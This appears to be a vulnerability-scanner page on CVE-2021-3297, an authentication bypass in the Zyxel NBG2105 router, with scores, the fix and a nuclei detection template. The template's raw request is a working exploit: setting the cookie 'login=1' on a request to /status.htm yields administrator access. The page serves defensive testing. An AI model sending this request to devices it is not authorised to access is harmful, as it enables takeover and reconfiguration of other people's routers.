Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass

highseverity

7.8CVSS score

20.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, unauthorized configuration changes, and potential compromise of the affected device.

Fix

Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability.

How to confirm it

Send: GET /status.htm
Positive when: contains "Running Time" and "Firmware Version" and "Firmware Build Time" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3297 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3297

info:
  name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
  author: gy741
  severity: high
  description: Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, unauthorized configuration changes, and potential compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability.
  reference:
    - https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
    - https://www.zyxel.com/us/en/support/security_advisories.shtml
    - https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3297
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2021-3297
    cwe-id: CWE-287
    epss-score: 0.20514
    epss-percentile: 0.97532
    cpe: cpe:2.3:o:zyxel:nbg2105_firmware:v1.00\(aagu.2\)c0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: nbg2105_firmware
  tags: cve,cve2021,zyxel,auth-bypass,router,vkev,vuln

http:
  - raw:
      - |
        GET /status.htm HTTP/1.1
        Host: {{Hostname}}
        Cookie: language=en; login=1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Running Time"
          - "Firmware Version"
          - "Firmware Build Time"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from